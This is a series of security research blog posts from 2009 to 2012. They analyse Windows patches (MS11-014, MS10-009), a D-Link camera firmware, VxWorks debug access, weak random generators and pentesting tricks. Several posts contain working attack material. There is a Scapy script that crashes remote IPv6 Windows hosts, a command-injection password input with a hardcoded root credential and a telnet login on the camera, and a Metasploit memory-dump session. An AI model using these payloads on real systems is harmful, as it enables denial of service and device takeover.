newsoft's tech blog

MS11-014: this is not the bug your are looking for …

2012-01-10T22:45:00.000+01:00

Intro

It could be believed that patch management was an outdated topic for year 2011. However, I have still been asked by a client to challenge their internal patch management policy by delivering a working exploit faster than the XX-day period they waited before patch deployment (XX being somewhere between 10 and 99 - I love random figures like this ;).

This event occurred in February 2011. Having a look at the gorgeous monthly Microsoft release, we decided to target MS11-014 (“Vulnerability in Local Security Authority Subsystem Service Could Allow Local Elevation of Privilege ”), since local bugs are usually easier to exploit reliably.

As this story occurred one year ago, I assume that everybody had enough time to patch. And local exploits are not “wormable”, therefore releasing this information will not result in the end of Internet.

Patch analysis

The patch itself is piece of cake: only LSASRV.DLL has changed, and only 2 functions have changed within that DLL.

FMyPrimitiveHMACParam() only had a few extra NOPs added.

On the other hand, NegpMapLogonRequest() is an excellent candidate, for an extra size check has been added (as shown below in bold red) – sorry for providing unformatted Hex-Rays pseudo-code, I know it is lame ;)

signed int __stdcall NegpMapLogonRequest(char *a1, void *a2, unsigned int a3, struct _MSV1_0_INTERACTIVE_LOGON **a4) {
(…)
if ( v6 > 0x100u || *(_WORD *)v5 > 0x100u
|| (v7 = *((_WORD *)a1 + 2), v7 > 0x1FEu) )
return -1073741562;
(…)
}

a1 is not really a char* but rather a LSA_UNICODE_STRING, defined as such:

typedef struct _LSA_UNICODE_STRING {
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} LSA_UNICODE_STRING, *PLSA_UNICODE_STRING, UNICODE_STRING, *PUNICODE_STRING;

NegpMapLogonRequest() has two direct callers: NegpCloneLogonSession() and NegpIsLocalOrNetworkService(), which is in turn called from NegLogonUserEx2().

Those APIs are internal to LSASS, and are exposed to other processes through loosely documented LPC calls. The easiest way to trigger that piece of code from any process is to rely on the official LogonUserEx API.

Debugging LSASS

Debugging LSASS locally can be tricky, for it is a critical system process that is involved in the debugging subsystem itself. Do not expect to be able to attach OllyDbg and go away with it … The easiest way to do it seems to rely on the Kernel Debugger itself, which has also the ability to debug any userland process.

That being done, WinDbg confirms that our target function is indirectly called from LogonUserEx() indeed, plus the offending string is the user-supplied domain name …

kd> kv
ChildEBP RetAddr
00acfc8c 757434c5 LSASRV!NegpMapLogonRequest
00acfcb4 75742e41 LSASRV!NegpIsLocalOrNetworkService+0x2f
00acfcf8 75742891 LSASRV!NegLogonUserEx2+0xaa
00acfe98 757422ae LSASRV!LsapAuApiDispatchLogonUser+0x33b
00acfeac 75739481 LSASRV!LpcLsaLogonUser+0x22
00acfec4 757393a5 LSASRV!DispatchAPI+0x46
00acff50 75738cfa LSASRV!LpcHandler+0x153
00acff74 75738dbe LSASRV!SpmPoolThreadBase+0xb9
00acffb4 7c80b729 LSASRV!LsapThreadBase+0x91
00acffec 00000000 kernel32!BaseThreadStart+0x37

Wait … does it mean that calling LogonUserEx() with a domain name over 0x200 characters is enough to trigger that bug ? Unfortunately not: because there is no bug … The logon triplet (username, domain, password) will be rejected as invalid – which it is.

Where is the meat?

There is still one missing piece in the puzzle: where is the bug? No vulnerable string copy is to be found anywhere within LSASRV.DLL. And providing an oversized domain name will not result in any crash.

At this point, there are two possible ways to go: one is hard work. The other is ~~laziness~~ efficiency. As Jorge Moura (from Primavera BSS) is credited for the discovery, I emailed him. Not only did he respond over the night, but he also provided me with a test vector. Which turns to be something like:

LogonUser(
_T("SomeUsername"),
(TCHAR*)domain,
_T("SomePassword"),
LOGON32_LOGON_NEW_CREDENTIALS, // defined as 9
LOGON32_PROVIDER_DEFAULT, // defined as 0
&hToken );
(…)
ImpersonateLoggedOnUser( hToken );
(…)
CreateFile(
_T(\\\\127.0.0.1\\c$\\boot.ini),
GENERIC_READ,
FILE_SHARE_READ|FILE_SHARE_WRITE,
NULL, // security attributes
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
NULL
);

The trick is to specify the LOGON32_LOGON_NEW_CREDENTIALS flag, which has the following effect:

“This logon type allows the caller to clone its current token and specify new credentials for outbound connections. The new logon session has the same local identifier but uses different credentials for other network connections.”

In that case, new credentials are not immediately checked, but rather stored “as is” in memory for future use. And the crash occurs when the authentication package – namely MSV1_0.DLL – makes use of those new credentials.

Vulnerable function is SspMapContext() in which lies an unbounded, inlined memcpy(). Destination is the local function stack … What else? ;)

Exploitation details

Despite being a “classical”, size-unlimited, Unicode stack overflow, generic exploitation of this bug can be tricky on an up-to-date Windows XP SP3 target.

LSASS process and all Microsoft-provided DLLs that are loaded by default within that process benefit from PEB and stack randomization, are flagged as /NXCOMPAT and /SAFESEH. The offending function is itself protected by a stack cookie (as a result of /GS option). Exploitation is one-shot, since LSASS process death will notoriously result in a forced system reboot.

During that particular assignment, it turned out that Symantec (ex-Sygate) personal firewall also loads SYSFER.DLL (version 1.0.0 at that time – if it means something) into LSASS address space. As this DLL has been compiled without any security option, and given that Windows XP does not provide any ASLR for code mappings, this DLL has been used as a gadget provider for ROP-like exploitation. After some MIASM magic, all client boxes were reliably 0wn3d – thanks to Symantec security products being installed ;)

Outro (a.k.a. TL;DR)

In summary:

The effective bug has not been fixed. Any other API that would allow passing an oversized domain name to LSASS could result in triggering the very same bug within MSV1_0.
Leave figures to risk managers and top-level management only. It makes no sense trying to define metrics such as “days before public exploit”, when unqualified exploit writers can provide a reliable attack vector within 2 days – not to mention all the people who had access to this flaw before public release. And after one year, this issue is still marked as “no public exploit available” on Microsoft summary page.
According to the original discoverer, such a trivial bug (think: oversized domain name provided during user authentication) was found by accident during a software QA session.
According to Microsoft security bulletin, this bug only affects Windows XP and Windows 2003. It is assumed (without checking) that memcpy() has eventually been defined as dangerous and replaced as much as possible by memcpy_s(). Is Microsoft aware of the number of security issues it killed? Who knows …

D-Link DCS-2121 and the state of embedded security

2010-09-27T08:00:00.007+01:00

Introduction

I recently bought a D-Link DCS-2121 surveillance camera. This is good stuff:

Megapixel camera + microphone + speaker
WiFi, UPnP and dynamic DNS supported
Web and Mobile Web access to streaming data
Motion detection
SDCard recording

It is also an embedded system running Linux operating system; therefore I decided to have a look at it ;) A firmware upgrade is available here (version 1.04 at the time of writing), which is very convenient for further analysis.

Firmware analysis

$ wget http://www.dlink.com.sg/support/Support_download.asp?idsupport=745
(...)

$ unzip dcs-2121_fw_1.04_3227.zip
Archive: dcs-2121_fw_1.04_3227.zip
inflating: DCS-2102_DCS-2121_A1_FW_1.04_3227.bin
inflating: DCS-2121_A1_Release Note_forFW1.04-3227.txt

$ file DCS-2102_DCS-2121_A1_FW_1.04_3227.bin
DCS-2102_DCS-2121_A1_FW_1.04_3227.bin: POSIX shell script text executable

Yes, firmware is … a shell script file! In fact, this file is broken into two parts:

A shell script
A binary blob

The shell script is very small - interesting parts are the following:

(...)
BLOCKS="norboot.bin(0x10000,65536),vmlinuz(0x60000,1048576),cram_image(0x160000,0x5E0000),autoboot.bin(0x2000,8192)"
(...)
extract() {
# tarLine will be replaced with a real number by Makefile
tail -n +153 "$1"
}
(...)
extract "$self" | ddPack - || exit 1
(...)

"ddPack" is a custom application. Nevertheless we gained some insights about memory layout, and we know that a CramFS filesystem is used.

CramFS "magic" bytes are 0x28cd3d45 - they are very easy to locate within the firmware (beware of endianness). Actual offset may vary - depending of the firmware localization (D-Link provides regional builds of the same version).

$ dd if=DCS-2102_DCS-2121_A1_FW_1.04_3227.bin of=cramfs bs=1138213 skip=1
5+1 records in
5+1 records out
6168576 bytes (6.2 MB) copied, 0.0210627 s, 293 MB/s

$ file cramfs
cramfs: Linux Compressed ROM File System data, little endian size 5791744 version #2 sorted_dirs CRC 0x70c14953, edition 0, 3603 blocks, 1199 files

$ sudo mount -o loop,ro cramfs /mnt/loop/
ls /mnt/loop/
bin dev etc lib linuxrc mnt opt proc sbin scripts tmp usr var

We now have full read access to the firmware, which leads to interesting discoveries. According to copyright strings, the camera itself is built around the Prolific PL-1029 "System On a Chip". Many CGI files under "/var/www" are calling eval() with user-supplied parameters. There is also a promising "/var/www/cgi/admin/telnetd.cgi" script :)

#!/bin/sh

# get current setting from tdb
# format looks like VariableName_type
onGetSetting() {
   result=""
}

# make sure, ...
# 1. $result is set
# 2. variables in dumpXml are all set
onUpdateSetting() {
   result="ok"
   if [ "$command" = "on" ]; then
   /usr/sbin/telnetd 1>/dev/null 2>/dev/null
   else
   killall telnetd 1>/dev/null 2>/dev/null
   fi
}

onDumpXml() {
   xmlBegin index.xsl home-left.lang index.lang
   resultTag $result
   xmlEnd
}

scenario=$(basename $0 | cut -d'.' -f1)

. ../../xmlFunctions.sh
. ../../cgiMain.sh

However we are going to focus on a very specific bug: "semicolon injection". In my experience, this bug plagues all and every Linux-based embedded devices, ranging from the OrangeBox (now dead link) to DD-WRT. Let's look for compiled CGI that might be calling system().

var/www/cgi/admin$ fgrep system *
Binary file adv_audiovideo.cgi matches
Binary file adv_godev.cgi matches
Binary file adv_sdcard.cgi matches
Binary file calibration.cgi matches
Binary file export.cgi matches
Binary file go_sleep.cgi matches
Binary file import.cgi matches
Binary file netWizard.cgi matches
Binary file pt8051_settings.cgi matches
Binary file pt_settings.cgi matches
Binary file reboot.cgi matches
Binary file recorder_status.cgi matches
Binary file recorder_test.cgi matches
Binary file reset.cgi matches
Binary file rs485_control.cgi matches
Binary file tools_admin.cgi matches
Binary file tools_system.cgi matches
Binary file wireless_ate.cgi matches

Let's focus on those files, and look for possibly unsecure calls.

$ strings -f * | grep "%s"
adv_godev.cgi: TinyDBError %s
adv_sdcard.cgi: rm -rf "%s"
adv_sdcard.cgi: %s/video
adv_sdcard.cgi: mkdir -m 0777 %s/video
adv_sdcard.cgi: find "%s" -type f -name "*" |wc -l
pt_settings.cgi: TinyDBError %s
recorder_test.cgi: TinyDBError %s
recorder_test.cgi: umount %s
recorder_test.cgi: mkdir -p %s
recorder_test.cgi: smbmount //%s/%s %s -o username=%s,password=%s
recorder_test.cgi: touch %s
rs485_control.cgi: TinyDBError %s
rs485_control.cgi: RS485PresetControl::%s(), unexpected command

So … "recorder_test.cgi" potentially calls system("smbmount //%s/%s %s -o username=%s,password=%s") … Let's see if "password" parameter is properly escaped.

Try #1 with password "toto". Command result is "mntFailure".

Try #2 with password "toto;/bin/true". Command result is "ok" :)

It is now time to start that "/usr/sbin/telnetd" server :) But wait ... what is "root" password ?

"/etc/passwd" and "/etc/shadow" are symbolic links to "/tmp/passwd" and "/tmp/shadow". Those files are created at boot time by "/etc/rc.d/rc.local" script.

(...)

start() {
touch /tmp/group /tmp/passwd /tmp/shadow
echo 'root:x:0:' > /etc/group
echo 'root:x:0:0:Linux User,,,:/:/bin/sh' > /etc/passwd
echo 'root:$1$gmEGnzIX$bFqGa1xIsjGupHyfeHXWR/:20:0:99999:7:::' > /etc/shadow
#telnetd > /dev/null 2> /dev/null
/bin/agent &
#/sbin/syslogd
addlog System is booted up.
echo "rc.local start ok."
}

(...)

So ... "root" password is hardcoded to "admin". How cool is that ? ;)

$ telnet 192.168.0.117 23

DCS-2121 login: root

Password: admin

BusyBox v1.01 (2009.07.27-09:19+0000) Built-in shell (ash)

Enter 'help' for a list of built-in commands.

~ # uname -a

uname -a

Linux DCS-2121 2.4.19-pl1029 #1 Mon Jul 27 17:21:05 CST 2009 armv4l unknown

Conclusion

As often with Linux-based embedded firmwares, a trivial "semicolon injection" bug can be found with no reverse-engineering - grep is the only tool you need to reproduce this case at home.

Disclaimer (for not-so-funny people): yes this is "0day", unreported to the vendor. I even suspect the whole D-Link product line is vulnerable to the same bug (if not the whole world of low-end embedded systems (and even business class products)). However, since Web access requires authentication, this bug might be exploitable by administrators only, so it is only useful for people who would like to gain a shell on their own systems. Do not panic :)

Bonus: how to find D-Link cameras on the Internet.

MS10-061: "this is not the 0day you are looking for"

2010-09-17T21:30:00.002+01:00

As usual, Microsoft Patch Tuesday has been interesting this month.

MS10-061 flaw strikes the Spooler service, and seems to have been exploited by the infamous StuxNet worm.

So, has it been "0day" (as many people tend to believe - like Kostya) ? (no offense man ;)

I let you read that press article from Hakin9 magazine, issue n°4/2009 - you can start reading at the bottom of page #29.

PS. For those of you who can read French, this article has also been quoted at the end of my "most viewed (and commented)" blog post. Hidden gem :)

Rapid publishing on recent Adobe flaws

2010-09-14T16:00:00.000+01:00

"As usual", Adobe products (namely Adobe Reader and Flash Player) were recently targeted by "0day" attacks in the wild.

I did not have a look at the attacks myself, but several trusted sources (such as H. D. Moore) described the exploit as "great" because it is able to bypass DEP and ASLR on Windows Seven.

Various exploitation tricks have been detailed on blogs such as Metasploit and VUPEN. ASLR bypass mostly relies on a library (namely "icucnv36.dll") not being ASLR-compatible and always being loaded at its preferred base address.

Now to the point: for years, I have been using LookingGlass tool for preliminary triage before any application audit. It has been flying under the radar, but it works really great, and it is ~~Open Source~~ compiled in .NET bytecode.

Here is the result for an up-to-date Adobe Reader 9.3.4. It looks like there are still avenues for DEP/ASLR bypass :)

Follow-up on VxWorks issue

2010-09-01T11:00:00.000+01:00

Introduction

As a follow-up to H. D. Moore research on VxWorks, I would like to share some personal thoughts on the matter.

I happen to have some experience with VxWorks, since this operating system used to be quite popular among broadband modem manufacturers. And I have always been fascinated by those SpyBoxes.

VxWorks software is now easier to get ahold of, since trial/evaluation software is readily available. However, by the time of VxWorks 5 (and older), things were a bit more tricky.

HDM pointed out that VxWorks source code leaked on PUDN Web site. As a rule of thumb, most of the world intellectual property is available from the Chinese Internet. However there are many other ways to browse the source (warning: all links below might disappear from the Internet without warning).

Universities and student projects [1]
Training courses [1]
VxWorks enthusiasts [1] [2] [3]
Third-party SDKs (for systems that have been built on the top of VxWorks) [1]
Hardware hackers [1]

In the end, whatever you are looking for, Internet has it :)

Authentication

Now let's have a look at VxWorks authentication mechanism (described here and here).

Quoting usrConfig.c:

(…)

loginInit (); /* initialize login table */

shellLoginInstall (loginPrompt, NULL); /* install security program */

/* add additional users here as required */

loginUserAdd (LOGIN_USER_NAME, LOGIN_PASSWORD);

}

#endif /* INCLUDE_SECURITY */

printLogo (); /* print out the banner page */

printf (" ");

printf ("CPU: %s. Processor #%d.\n", sysModel (), sysProcNumGet ());

printf (" ");

printf ("Memory Size: 0x%x.", sysMemTop () - (char *)LOCAL_MEM_LOCAL_ADRS);

printf (" BSP version %s.\n\n", bspVersion ());

(…)

Authentication is optional – #INCLUDE_SECURITY must be defined at compile time.

By default, loginUserAdd() must be called for creating each user account dynamically - there is no user/password "file" (since there might be no filesystem at all on the target system).

Password is "encrypted" using a VxWorks-proprietary algorithm. Quoting http://www.xs4all.nl/~borkhuis/vxworks/vxw_pt1.html:

"Q: How can I create (encrypted) passwords?

A: You can use vxencrypt that comes with Tornado to create passwords, but it is pretty weak.

I think it is sum( p[i] * i ^ i )) * 0x1e3a1d5 converted to ascii with a munged hex character set (presumably to make you think there are more than 2^32 encrypted passwords). I think I could reverse that using pen and paper."

Therefore it is possible to log into any VxWorks 5 system in default configuration, given the following steps:

Grab a copy of the firmware (more about this later)
Find the banner printing code
Look a few opcodes before - you will presumably find call(s) to loginUserAdd().
Reverse passwords (using pen and paper ;)

Practical use case

Let's take the Trio3C broadband modem that has been widely distributed by Neuf Telecom a few years ago. This model has been superseded by the NeufBox4, and you could find second-hand modems for less than 5 euros nowadays. Trio3C appears to be running under VxWorks 5, and to have remote debugging enabled.

$ ./msfconsole

_ _ _ _

| | | | (_) |

_ __ ___ ___| |_ __ _ ___ _ __ | | ___ _| |_

| '_ ` _ \ / _ \ __/ _` / __| '_ \| |/ _ \| | __|

| | | | | | __/ || (_| \__ \ |_) | | (_) | | |_

|_| |_| |_|\___|\__\__,_|___/ .__/|_|\___/|_|\__|

| |

|_|

=[ metasploit v3.4.2-dev [core:3.4 api:1.0]

+ -- --=[ 584 exploits - 297 auxiliary

+ -- --=[ 219 payloads - 27 encoders - 8 nops

=[ svn r10182 updated today (2010.08.29)

msf| use auxiliary/scanner/vxworks/wdbrpc_bootline

msf auxiliary(wdbrpc_bootline)| set RHOSTS 192.168.1.1/32

RHOSTS =| 192.168.1.1/32

msf auxiliary(wdbrpc_bootline)| run

[*] 192.168.1.1: VxWorks5.4.2 Centillium Palladia 4K

[*] 192.168.1.1: BOOT: tffs=0,0(0,0)host:/tffs/vxworks.s e=192.168.1.4:0xffffff00 h=192.168.1.10 u=p220 pw=p220

[*] Scanned 1 of 1 hosts (100% complete)

[*] Auxiliary module execution completed

msf auxiliary(wdbrpc_bootline)| use auxiliary/admin/vxworks/wdbrpc_memory_dump

msf auxiliary(wdbrpc_memory_dump)| set RHOST 192.168.1.1

RHOST =| 192.168.1.1

msf auxiliary(wdbrpc_memory_dump)| set LPATH /tmp/memory.dmp

LPATH =| /tmp/memory.dmp

msf auxiliary(wdbrpc_memory_dump)| run

[*] Attempting to dump system memory...

[*] 192.168.1.1 Connected to VxWorks5.4.2 - Centillium Palladia 4K ()

[*] Dumping 0x00fef800 bytes from base address 0x80000000 at offset 0x00000000...

[*] [ 00 % ] Downloaded 0x00000b18 of 0x00fef800 bytes (complete at Sun Aug 29 09:55:11 +0200 2010)

[*] [ 00 % ] Downloaded 0x000010a4 of 0x00fef800 bytes (complete at Sun Aug 29 09:55:34 +0200 2010)

(...)

[*] Dumped 0x00fefba0 bytes.

[*] Auxiliary module execution completed

The complete memory dump decompiles cleanly in IDA Pro [*] (base ROM address is kindly provided by the debugger).

Unfortunately for the demo, it appears that no hardcoded account is to be found. User accounts and (cleartext) passwords are stored within a configuration file. But that was a fun exercise anyway :)

[*] Actually not, I had to request a patch for the MIPS processor module :)

MS10-009

2010-02-24T23:00:00.002+01:00

A very long time ago, Microsoft patches used to be boring. Then Microsoft invented the SDL. The amount of patches and vulnerabilities fixed in Microsoft products did not decrease, but each bug became a unique and very interesting one...

February 2010 patches are no exception to this rule: each one of them provides enlightenment for the security researcher.

Let's begin this blog series with MS10-009: "Vulnerabilities in Windows TCP/IP Could Allow Remote Code Execution". This is some kind of Holy Grail in computer security: remote code execution through IP packets only!

First of all, this flaw affects Windows Vista and Windows 2008 Server "R1" only. For Windows Vista, Microsoft rewrote the whole TCP/IP stack with the objective to build a native IPv4/IPv6 dual stack. In the process they added a lot of kernel stuff, such as Winsock Kernel (WSK), and they removed deprecated stuff, such as SYN Flood protections (SynAttackProtect et al. registry keys).

Writing a TCP/IP stack is not a task for the faint of heart. Despite Microsoft hiring all sorts of talented engineers, the new stack was found vulnerable to Blat (before build 5270), Land (before build 5270) and Teardrop (before build 5384) attacks.

Even after Vista public release, several security bulletins have been published, addressing issues in the new TCP/IP stack - namely: MS08-001, MS08-004 (this one being specific to Vista) and MS09-048 (this one having a rating of "critical" on Windows Vista and 2008 only).

Therefore, Windows Vista and 2008 TCP/IP stack cannot be considered "mature" and remains an interesting playground for security researchers. Interestingly, MS10-009 vulnerabilities were silently fixed in Windows Seven and 2008 "R2", showing that Microsoft engineers are doing their homework on their side.

Now let's get to the point:

1. ICMPv6 Router Advertisement Vulnerability - CVE-2010-0239
"A remote code execution vulnerability exists in the Windows TCP/IP stack due to insufficient bounds checking when processing specially crafted ICMPv6 Router Advertisement packets. An anonymous attacker could exploit the vulnerability by sending specially crafted ICMPv6 Router Advertisement packets to a computer with IPv6 enabled."

2. Header MDL Fragmentation Vulnerability - CVE-2010-0240
"A remote code execution vulnerability exists in the Windows TCP/IP stack due to the manner in which the TCP/IP stack handles specially crafted Encapsulating Security Payloads (ESP) over UDP datagram fragments when running a custom network driver."

3. ICMPv6 Route Information Vulnerability - CVE-2010-0241
"A remote code execution vulnerability exists in the Windows TCP/IP stack due to insufficient bounds checking when processing specially crafted ICMPv6 Route Information packets. An anonymous attacker could exploit the vulnerability by sending specially crafted ICMPv6 Route Information packets to a computer with IPv6 enabled."

4. TCP/IP Selective Acknowledgement Vulnerability - CVE-2010-0242
"A denial of service vulnerability exists in TCP/IP processing in Microsoft Windows due to an error in the processing of specially crafted TCP packets with a malformed selective acknowledgment (SACK) value."

According to KB974145, several files are updated by MS10-009 patch. However we are going to focus on where the meat is, namely "TCPIP.SYS". All screenshots below apply to Windows 2008 "R1" English 32-bit.

Using BinDiff 3, it quickly appears that 39 functions have a similarity of less than "1.00".

Thanks to debugging symbols provided by Microsoft, matching flaws with functions names is pretty straightforward:

IppIsUdpEspPacket / IppReceiveUdpEspList will probably be in the path of flaw #2.
TcpEnqueueTcbSack will probably in the path of flaw #4.
IppHandleNeighborAdvertisement / Ipv6pHandleRouterAdvertisement will probably be in the path of flaws #1 and #3, which we are targeting today.

From that point, diffing is pretty straightforward.

On the left side (patched version), data size is pre-tested against 0x20, whereas on the right side (vulnerable version), data size is post-tested.

Let's have a deeper look at the NdisGetDataBuffer function, which is new to NDIS 6 (Windows Vista and up):

"Call the NdisGetDataBuffer function to gain access to a contiguous block of data from a NET_BUFFER structure.

PVOID NdisGetDataBuffer(

IN PNET_BUFFER NetBuffer,

IN ULONG BytesNeeded,

IN PVOID Storage,
IN UINT AlignMultiple,
IN UINT AlignOffset
);
(…)
Storage: a pointer to a buffer, or NULL if no buffer is provided by the caller. The buffer must be greater than or equal in size to the number of bytes specified in BytesNeeded. If this value is non-NULL, and the data requested is not contiguous, NDIS copies the requested data to the area indicated by Storage."

This API is quite hard to understand and clearly violates the principle of least surprise.

The NET_BUFFER structure holds a NET_BUFFER_HEADER structure, in which a NET_BUFFER_DATA structure can be found, which stores a Memory Descriptor List (MDL).

Let's assume that the caller passed a non-NULL Storage parameter to this function. If all packet data has already been allocated into a single (contiguous) memory area, NdisGetDataBuffer will simply return a pointer to this area. However, if packet data is split across several memory areas, NdisGetDataBuffer will concatenate everything into the Storage buffer. This is where the flaw lies, since Storage is a static buffer of 0x20 bytes allocated on stack (in case of Prefix Info option), whereas the vulnerable ICMPv6 option(s) can be of any size (options being passed in Type-Length-Value format).

Now, the last question is: how to force allocation of non-contiguous memory areas? The answer is obvious: using fragmentation, since packets are copied in memory "as is" at NDIS level …

A bit of Scapy magic later, here is one possible command to invoke the dreaded Blue Screen of Death on any IPv6-enabled remote system. This is a fragmented Router Advertisement (RA), using a non standard "Prefix Info" of length of 255. Please note that option size is given in multiples of 8, therefore the following code will trash 255*8 = 2040 bytes of kernel stack with byte 0x41.

v6_dst = "fe80::bd92:3788:79b0:c5d1"

mac_dst = "00:0c:29:de:9b:a8"

pkt = IPv6(dst=v6_dst, hlim=255) / IPv6ExtHdrFragment() / ICMPv6ND_RA() / ICMPv6NDOptPrefixInfo(len=255, prefixlen=64, prefix="2001::") / Raw(load='A'*2008)

l=fragment6(pkt, 1500)

for p in l:
sendp(Ether(dst=mac_dst)/p, iface="eth0")

This is not the only NdisGetDataBuffer-based flaw that has been fixed, therefore other ICMPv6 options could be used to achieve the same result.

Now, is this ethical to release such a piece of information to the general public? Well, yes, considering the following mitigations:

This affects only IPv6-enabled Windows Vista and Windows 2008 "R1" systems (but IPv6 is enabled by default).
Microsoft provided a patch a few weeks ago.
This could raise NDIS 6 developers' awareness.
"Some people" have been working on it for more than 1 year, so it should be considered "available" (if not public).
Since Router Advertisements are not honored when TTL is lower than 255, this attack works only on the local subnet and could not be used to wreak havoc on the Internet.
"/GS" has proved so far to be an effective mitigation against remote code execution through this flaw ("it is just a DoS"™) – not to mention kernel-mode ASLR.
This is a good Scapy + IPv6 use case.

I might not say the same about other TCP/IP flaws that were fixed in this patch, such as the Selective Acknowledgement one …

Mandatory greetz: Arnaud Ebalard (of Scapy6 fame) and Fabrice Desclaux (of Rr0d fame).

Unique is not Random is not Secure

2009-09-11T08:00:00.002+01:00

Unique, Random and Secure are three (very) different concepts. Misunderstanding those concepts could lead to severe security issues, as related in this story. However, I had to remove names from the (not so) innocent applications that were harmed :)

Unique values are needed everywhere in modern computing: ActiveX GUIDs, HTTP session cookies, ... However, while some of those values have no identified security impact (e.g. ActiveX GUIDs), others shall meet very strong security properties (e.g. HTTP session cookies).

An attacker should at least not be able to guess some or all values that have been or will be generated. A stronger property is the inability for the attacker to guess past or future values, even if he has access to a subset of generated values at some point.

Let's take a "uniqueness generator" that returns an integer value (whatever size is that integer). How unique this value can be?

Unique values

The value is unique if two successive calls to the same function are guaranteed not to yield the same result.

This property is very easy to achieve, either through a monotonous counter (0, 1, 2, 3 ...) or a timestamp. But those generators do not meet even the lowest security requirements formulated before: they are very easy to predict at any time. Fortunately, cookie value == timestamp has disappeared from the Internet years ago.

Some better generators exist, such as GUID and UUID. Older GUID generators were based on MAC address and timestamp, therefore having far lesser possible outputs than the entire value space. Recent GUID generators are based on cryptographically sound random generators (see below).

Of course, there are limits to "uniqueness": at least the size of the output value. Everything stored on 32 bits will be easy to find out, even if it comes out of a 160 bits hashing algorithm. Moreover, values can be unique to a given computer only, a given process, or even a given thread.

Random values

For security-related tasks, it is often critical to use non-predictable unique generators. Therefore most people began to think "unique == random".

However, true randomness is very difficult to achieve (as PHP knows).

The simplest random generator is the Linear Congruential generator. All values are correlated through the following formula: x_n+1 = A * x_n + B [N], where A, B and N are fixed values.

On Windows, the rand() function of MSVCRT.DLL uses the following parameters:

A = 214013

B = 2531011

N = 2³²

Internal state is maintained on 32 bits. However, only the 16 upper bits are returned as a result, masked with 0x7fff. Therefore, rand() produces values between 0 and RAND_MAX, which has a hardcoded value of 2¹⁵.

This is confirmed on Windows Seven 64-bit as seen below.

Therefore, the odds of guessing rand() output on a single shot is 1 out of 2¹⁵, which is already bad (as DNS knows).

But finding out rand() internal state (which is trivial with a few known output values) could prove far more catastrophic. In fact, rand() should never be used at all - it is mostly there for compatibility reasons. Good Windows applications make use of CryptGenRandom().

Out of curiosity, I also had a look at the GNU libc. It turned out that rand() has several implementations, the most basic of which (referred as "type 0") being a Linear Congruential generator with the following parameters:

A = 1103515245
B = 12345
N = 2³²

RAND_MAX = 2³¹

Using this generator to produce int or unsigned int values will immediately leak the internal generator state to the client.

Newer implementations use a Linear Feedback Shift Register.

Secure values

As we saw earlier, random does not always mean secure. But even if the developer used a cryptographically strong random generator, it can still fall prey to implementation mistakes.

One recent example I had is the (Sun provided) java.rmi.server.UID class. Each word is important:

"A UID represents an identifier that is unique over time with respect to the host it is generated on, or one of 2¹⁶ "well-known" identifiers. (...) A UID instance contains three primitive values:

unique, an int that uniquely identifies the VM that this UID was generated in, with respect to its host and at the time represented by the time value (an example implementation of the unique value would be a process identifier), or zero for a well-known UID
time, a long equal to a time (as returned by System.currentTimeMillis()) at which the VM that this UID was generated in was alive, or zero for a well-known UID
count, a short to distinguish UIDs generated in the same VM with the same time value"

So, secure or not? Hard to tell from the documentation ... Let's run the following code sample:

package uidtest;

import java.rmi.server.UID;

public class Main {

public static void main(String[] args) {

for (int i=0; i < 5; i++) {

UID u = new UID();

System.out.println(u);

}

$ javac uidtest.java

$ java uidtest

-8241e54:12334a437e6:-8000

-8241e54:12334a437e6:-7fff

-8241e54:12334a437e6:-7ffe

-8241e54:12334a437e6:-7ffd

-8241e54:12334a437e6:-7ffc

So, it appears that this UID generator is a simple monotonous counter.

Since the Sun JDK has been open-sourced, it is possible to have a deeper look at the implementation:

public UID() {

synchronized (lock) {

if (!hostUniqueSet) {

hostUnique = (new SecureRandom()).nextInt();

hostUniqueSet = true;

}

unique = hostUnique;

if (lastCount == Short.MAX_VALUE) {

boolean interrupted = Thread.interrupted();

boolean done = false;

while (!done) {

long now = System.currentTimeMillis();

if (now <= lastTime) {

// wait for time to change

try {

Thread.currentThread().sleep(1);

} catch (InterruptedException e) {

interrupted = true;

}

} else {

lastTime = now;

lastCount = Short.MIN_VALUE;

done = true;

}

if (interrupted) {

Thread.currentThread().interrupt();

}

time = lastTime;

count = lastCount++;

}

First field is initialized with SecureRandom() ... once per process.

Second field is time in milliseconds. Second field changes when all possible values for the third field have been exhausted.

Third field is a monotonous 16-bit counter.

Conclusion: you should not rely on Java UID class for secure UID generation!

Pentester trick #9: exchanging files through RDP (without getting owned)

2009-08-28T08:00:00.002+01:00

Remote access to the target system is sometimes limited to RDP protocol only (either Remote Desktop or Terminal Server access).

This is often the case with heavily firewalled systems, such as branch office servers exposed on the Internet with port TCP/3389 opened alone.

Previously gathered credentials might have allowed the pentester to break into such a system. However, how to get further without being able to access the Internet from the target ?

Locally available utilities (such as the NET command, VBScript-ing and the like) are invaluable in this case. But what about hardcore, process-injecting utilities ?

A pretty well-known trick in this case is the ability to mount through the RDP protocol many client-side resources, such as printers (NOT recommended), clipboard and ... hard drives.

At this point, the novice pentester got his C drive mounted on the remote server, and all his utilities wiped out by server antivirus.

Now it is time to call upon the forgotten lore of MS-DOS, namely the SUBST command which is still available on Windows XP SP3.

After having created a C:\TAZ directory on his laptop, the experienced pentester types at the CMD console prompt:

SUBST D: C:\TAZ

... and is now able to exchange with the remote target through a virtual "D:" drive, without getting owned.

Having compromised the remote network beyond hope, he now types:

SUBST D: /D

... and might have finished the assessment report by 5:00 PM, if he is wise enough NOT to use LaTeX.

Pentester trick #8: command-line sniffing made easy

2009-08-14T14:00:00.003+01:00

(Preamble: this post applies to Windows operating system only. Linux has tcpdump, Solaris has snoop, etc.)

Sometimes sniffing the network from a compromised remote target might become handy.

For instance, it proved useful to me in the following pentest cases:

Recovering POP/IMAP/SMTP passwords, when classical tools are blocked by antivirus software (use of POPS/IMAPS/SMTPS is still not widespread, especially on enterprise LANs).
Gathering HTTP session cookies or even passwords.

But sometimes you have only command-line access to the remote target (through PSEXEC, Metasploit and such).

Getting access to the GUI (through VNC, Remote Desktop or DameWare Mini Remote Control) is not practical, since the targetted user is actively working on the console (there are workarounds for this situation, but I am not going to discuss them right now).

Installing network sniffing software, such as WireShark/Winpcap, is not practical because you have to setup the software (which makes change to the target system configuration) and you might end up in rebooting the system. Not to mention the x64 case, which requires signed drivers (latest x64 Winpcap drivers are signed, though).

A lot of people are pretending to offer "rebootless command line sniffers", but they are often unmaintained proof-of-concept tools, and professional pentesters cannot afford to crash a remote target.

